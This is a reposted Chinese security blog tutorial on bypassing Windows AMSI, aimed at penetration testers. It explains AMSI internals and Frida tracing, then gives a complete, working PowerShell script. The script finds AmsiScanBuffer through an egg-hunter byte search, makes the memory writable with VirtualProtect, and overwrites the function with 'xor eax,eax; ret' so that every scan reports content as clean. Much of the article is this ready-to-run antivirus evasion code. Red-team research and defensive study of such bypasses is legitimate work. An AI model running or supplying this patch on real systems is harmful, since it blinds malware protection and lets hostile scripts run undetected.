如何绕过AMSI

栏目: 编程工具 · 发布时间: 3周前

来源: www.anquanke.com

本文转载自:https://www.anquanke.com/post/id/180281,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有。

如何绕过AMSI

0x00 前言

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代 工具 、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。

正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,我们介绍了AMSI的内部工作原理,也介绍了一种新的绕过方法。

在本文中,我们将涉及如下几方面内容:

powershell.exe

0x01 AMSI工作原理

前面提到过,服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务,AMSI采用了hook方法。比如,AMSI会hook WSH(Windows Scripting Host)PowerShell 来去混淆并分析正在执行的代码内容。这些内容会被“捕获”,并在执行之前发送给反恶意软件解决方案。

在Windows 10上,实现AMSI的所有组件如下所示:

  • UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限
  • PowerShell(脚本、交互式使用以及动态代码执行)
  • Windows Script Host( wscript.exe 或者 cscript.exe
  • JavaScript以及VBScript
  • Office VBA宏

AMSI 整体架构 如下图所示:

如何绕过AMSI

比如,当创建PowerShell进程时,AMSI动态链接库(DLL)会被映射到该进程的虚拟地址空间中(Windows为该进程提供的虚拟地址范围)。DLL是包含导出函数及内部函数的一个模块,可以被其他模块所使用。内部函数只能在DLL中使用,导出函数可以被其他模块使用,也能在DLL内部使用。在这个例子中,PowerShell会使用AMSI DLL的导出函数来扫描用户输入。如果判断这些数据无害,则用户输入数据就会被执行,否则就会阻止执行操作,在日志中记录 1116事件MALWAREPROTECTION_BEHAVIOR_DETECTED )。

使用PowerShell触发相关事件(ID 1116)时如下所示:

如何绕过AMSI

需要注意的是,AMSI不单单可以用来扫描脚本、代码、命令或者cmdlet,也可以用来扫描任何文件、内存或者数据流,如字符串、即时消息、图像或者视频。

0x02 枚举AMSI函数

前文提到过,实现AMSI的应用使用到了AMSI的导出函数,但究竟是哪些函数,具体过程如何?更为重要的是,哪些函数负责检测,可以阻止我们执行“恶意”内容?

这里我们可以使用两种方法来获得导出函数列表。首先,我们可以从 微软官方文档 中找到一个基本的函数列表:

AmsiCloseSession
AmsiInitialize
AmsiOpenSession
AmsiResultsMalware
AmsiScanBuffer
AmsiScanString
AmsiUninitialize

另外我们可以使用 WinDbg 之类的软件来调试AMSI DLL,这些软件可以帮我们完成逆向分析、反汇编以及动态分析任务。这里我们选择将WinDbg attach到正在运行的PowerShell进程,以便分析AMSI。

使用WinDbg时,我们可以列出AMSI导出函数及内部函数,如下图所示。其中 x 命令用来检查 符号 。符号文件是编译程序时创建的文件,程序运行并不需要这些文件,但其中包含调试过程中需要的许多有用信息,比如全局变量、本地变量、函数名及地址等。

如何绕过AMSI

知道函数名后,我们依然没有回答最重要的一个问题:哪个(些)函数负责检测行为,用来阻止“恶意”内容?

为了回答这个问题,我们可以使用 Frida 。Frida是一个动态检测工具集,可以用来分析程序内部原理和hook,这意味着该工具可以hook函数,以分析传递给函数或者由函数返回的变量或值。

关于Frida安装和工作原理方面的内容不在本文探讨范围内,如果大家想了解更多信息,可以参考 官方文档 。这里我们只使用了 frida-trace 这款工具。

首先,我们使用 frida-trace attach到正在运行的PowerShell进程(如下左图),准备hook函数名以“Amsi”开头的所有函数。使用 -P 选项来指定进程ID, -X 选项来指定模块(DLL), -i 选项来指定函数名(或者匹配模式)。

要注意我们需要使用管理员权限来执行 frida-trace (如下右图)。

如何绕过AMSI

现在Frida已经hook了这些函数,我们可以监控在输入简单字符串时,PowerShell会调用哪些函数。如下所示,可知PowerShell会调用 AmsiScanBuffer 以及 AmsiOpenSession

如何绕过AMSI

frida-trace 是一款功能强大的工具,对于分析的每个函数,都会创建一个对应的 JavaScript 文件,每个JavaScript文件中包含两个函数: onEnter 以及 onLeave

onEnter 函数有3个参数: logargs 以及 state ,这三个参数分别用是向用户显示的信息、传递给目标函数的参数列表以及用于内部函数状态管理的一个全局对象。

onLeave 函数有3个参数: logargs 以及 state ,分别是向用户显示的信息(与 onEnter 相同)、目标函数的返回值以及用于内部函数状态管理的一个全局对象(与 onEnter 相同)。

比如,Frida为 AmsiScanBuffer 默认生成的JavaScript文件如下所示:

{
    onEnter: function (log, args, state) {
        log('AmsiScanBuffer()');
    },

    onLeave: function (log, retval, state) { }
}

在我们的例子中, AmsiScanBufferAmsiOpenSession 函数的JavaScript文件都可以根据函数原型进行更新,以便分析相关参数及返回值。函数原型或者函数接口指的是函数的声明,指定了函数名、类型、参数以及参数类型。

AmsiScanBuffer函数原型 如下:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

AmsiOpenSession函数原型 如下:

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

更新 AmsiScanBuffer 对应的JavaScript文件( __handlers__\amsi.dll\AmsiScanBuffer.js ),如下所示:

{
    onEnter: function (log, args, state) {
        log('[+] AmsiScanBuffer');
        log('|- amsiContext: ' + args[0]);
        log('|- buffer: ' + Memory.readUtf16String(args[1]));
        log('|- length: ' + args[2]);
        log('|- contentName: ' + args[3]);
        log('|- amsiSession: ' + args[4]);
        log('|- result: ' + args[5] + "n");
      },

      onLeave: function (log, retval, state) { }
}

更新 AmsiOpenSession 对应的JavaScript文件( __handlers__\amsi.dll\AmsiOpenSession.js ),如下所示:

{
    onEnter: function (log, args, state) {
        log('[+] AmsiOpenSession');
        log('|- amsiContext: ' + args[0]);
        log('|- amsiSession: ' + args[1] + "n");
    },

    onLeave: function (log, retval, state) { }
}

更新这些文件后,我们可以更进一步了解哪些参数会被传递给这些函数。如下图所示,用户输入数据会通过 buffer 变量传递给 AmsiScanBuffer 函数:

如何绕过AMSI

根据这些分析,我们可以得出结论: AmsiScanBuffer 至少是一个比较重要的函数,与检测机制有关,因此能够阻止“恶意”内容。

0x03 查找函数地址

现在我们已经缩小目标,只针对一个函数: AmsiScanBuffer

在Windows系统中, Kernel32 DLL中导出的 LoadLibrary 函数可以用来加载DLL,并将DLL映射到正在运行进程的虚拟地址空间中(VAS),并返回该DLL对应的句柄,以便其他函数使用。如果DLL已经映射到进程的VAS中,那么就只会返回句柄(我们的例子就满足该情况,PowerShell在进程初始化阶段加载AMSI DLL)。

Windows API是一组函数及数据结构,由不同的DLL(如 Kernel32 或者 User32 )对外提供,Windows应用和服务可以使用这些API来执行具体操作(比如创建文件、打开进程或者加载DLL)。

为了获得AMSI DLL的句柄,我们可以执行如下PowerShell脚本:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

如何绕过AMSI

Kernel32 DLL中的 GetProcAddress 函数能够帮我们获取指定DLL中的导出函数或者变量的句柄。在这个例子中,我们可以使用这个Windows API来获取AMSI DLL中 AmsiScanBuffer 函数或其他其他导出函数的地址,这也是 Rasta Mouse 之前使用的方法。然而,现在系统会将 AmsiScanBuffer 以及其他字符串当成恶意特征,避免AMSI被篡改。因此,这里我们需要使用另一种方法。

如何绕过AMSI

这里我们可以动态查找 AmsiScanBuffer 的地址,而不去使用 GetProcAddress 函数。为了完成该任务,我们仍然需要找到一个地址,作为VAS中的起始查找点。这里有很多导出函数可以使用,特别是函数名中不包含 Amsi 的导出函数,我们选择的是 DllCanUnloadNow

我们可以更新前面的PowerShell脚本,在代码中添加对 GetProcAddress 语句,以便获得目标进程VAS中 DllCanUnloadNow 函数的地址。如下所示:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

如何绕过AMSI

需要注意的是由于 地址空间布局随机化(ASLR) ,每次系统重启后 DllCanUnloadNow 的地址都会发生变化。对于我们的例子,系统重启前该函数的地址为 140717525833824 。ASLR是一种安全机制,可以随机化VAS中的地址,防止攻击者猜测内存位置。

此外,每次重启系统后,ASLR都会随机化用户空间基址。

0x04 Egg Hunter

我们可以将 DllCanUnloadNow 的地址作为目标进程VAS的入口点,但现在我们如何找到 AmsiScanBuffer 的地址呢?

实际上,我们可以遍历整个VAS。搜索满足特定匹配模式的目标。这种技术可以称之为“ Egg Hunter ”。正常情况下,一个典型的egg hunter需要搜索内存中2个4字节的特殊匹配模式(如 w00tw00t 或者 p4ulp4ul ),但这里我们需要使用24字节,而不是8字节。这24字节就是 AmsiScanBuffer 函数的前24个字节。

我们可以使用WinDbg软件来反汇编 AmsiScanBuffer 函数,以获取该函数对应的指令。需要注意的是, u 选项可以用来反汇编内存中的特定代码,这里即为AMSI DLL中的 AmsiScanBuffer

如何绕过AMSI

如上图所示,该函数的前24个字节为 0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70

利用这种技术时,我们要去确保搜索序列的唯一性,否则这种技术会返回“随机”地址,不是我们正在寻找的函数地址。

因此,我们可以更新之前的PowerShell脚本,以便在VAS中搜索这独特的24个字节。

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

[byte[]]$egg = [byte[]] (
    0x4C, 0x8B, 0xDC,         # mov     r11,rsp
    0x49, 0x89, 0x5B, 0x08,   # mov     qword ptr [r11+8],rbx
    0x49, 0x89, 0x6B, 0x10,   # mov     qword ptr [r11+10h],rbp
    0x49, 0x89, 0x73, 0x18,   # mov     qword ptr [r11+18h],rsi
    0x57,                     # push    rdi
    0x41, 0x56,               # push    r14
    0x41, 0x57,               # push    r15
    0x48, 0x83, 0xEC, 0x70    # sub     rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"

[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
    [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
    $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
    $i++
}
Write-Host "[+] Bytes: $bytes"

如何绕过AMSI

在上述代码中, Hunter 类的 FindAddress 静态方法会通过传参地址来递增搜索VAS中的地址,也就是 DllCanUnloadNow 函数的地址。然后,该方法使用 Marshal 类的 ReadByte 静态方法来获取该地址对应的字节,将其与我们查找的字节序列进行匹配。最后,如果找到匹配序列,代码就会返回函数对应的地址。

如上图所示,我们找到的字节刚好是 AmsiScanbuffer 函数的前24个字节,因此,我们可以使用这种技术成功动态发现 AmsiScanBuffer

0x05 Patch

发现函数地址后,下一步就是修改函数指令,避免该函数检测到“恶意”内容。

根据微软官方文档, AmsiScanBuffer 函数应该返回 HRESULT 类型值,这是一个整数值,用来表示操作是否成功。在我们的例子中,如果该函数成功,那么就应当返回 S_OK0x00000000 ),否则应该返回 HRESULT 错误代码。

这个函数的主要功能是返回需要扫描的内容是否存在问题,这也是 result 变量会作为参数传递给 AmsiScanBuffer 函数的原因所在。这个变量的类型为 AMSI_RESULT 枚举类型。

对应的枚举原型如下所示:

typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN,
    AMSI_RESULT_NOT_DETECTED,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END,
    AMSI_RESULT_DETECTED
};

在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回 132762 (含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于 32762 ,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新 AMSI_RESULT 变量值。

默认情况下,该变量处于“正常”(“无害”)值状态,因此,如果我们修改了函数指令,使其永远不会将待分析的内容发送给反恶意软件服务,并且返回 S_OK HRESULT 结果值,那么这些内容就会被当成无害数据。

在汇编语言中, EAX (32位)以及 RAX (64位)寄存器始终包含函数的返回值。因此,如果 EAX / RAX 寄存器值等于0,并且如果执行了 ret 汇编指令,那么该函数就会返回 S_OK HRSULT ,不会将待分析数据发送给反恶意软件服务。

为了完成该任务,我们可以使用如下汇编代码:

xor    EAX, EAX
ret

为了patch AmsiScanBuffer 函数,我们需要将前几个字节修改为 0x31 0xC0 0xC3 (如上汇编指令的十六进制表示)。然而,在执行修改操作之前,待修改的区域必须为可读/可写。否则,任何读取或写入操作都会导致访问冲突异常。为了修改目标内存区域的保护机制,我们可以使用 Kernel32 DLL中的 VirtualProtect 函数。这个导出函数可以修改指定区域的内存保护机制。

如下PowerShell代码片段使用了 VirtualProtect 函数来修改 AmsiScanBuffer 函数的前3字节内存保护。

# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

然后, Marshal 类的 Copy 静态方法可以用来将指定字节拷贝(覆盖)到指定地址。在这里,我们使用这个静态方法来patch内存。

$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

最后,我们再次使用 VirtualProtect 函数来重新初始化原始的内存保护状态。

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) |  Out-Null

将这些步骤结合起来后,我们就可以得到完整版的PowerShell脚本,完成如下操作:

DllCanUnloadNow
AmsiScanBuffer

完整代码如下:

Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
    Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
    Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

如何绕过AMSI

如上图所示,我们成功绕过了AMSI。

0x06 总结

我们在如下Windows版本中对这种技术进行了测试:

如何绕过AMSI

完整版的PowerShell脚本可从 Github 上下载,C#版实现请参考 此处


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

为你推荐:

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

如何变得有思想

如何变得有思想

阮一峰 / 人民邮电出版社 / 2014-12-2 / 49.00元

本书为阮一峰博客选集,囊括了作者对各种问题的思考,围绕的主题是试图理解这个世界。本书内容非常广泛,涉及观点、文学、历史、科技、影视等方面。作者在书中对具有深刻意义的文字进行摘录,并且在思索后提出自己独特的观点。书后附有阮一峰诗集。 本书适合喜欢独立思考、热爱读书的读者,对于广大读者具有一定的启发作用。一起来看看 《如何变得有思想》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具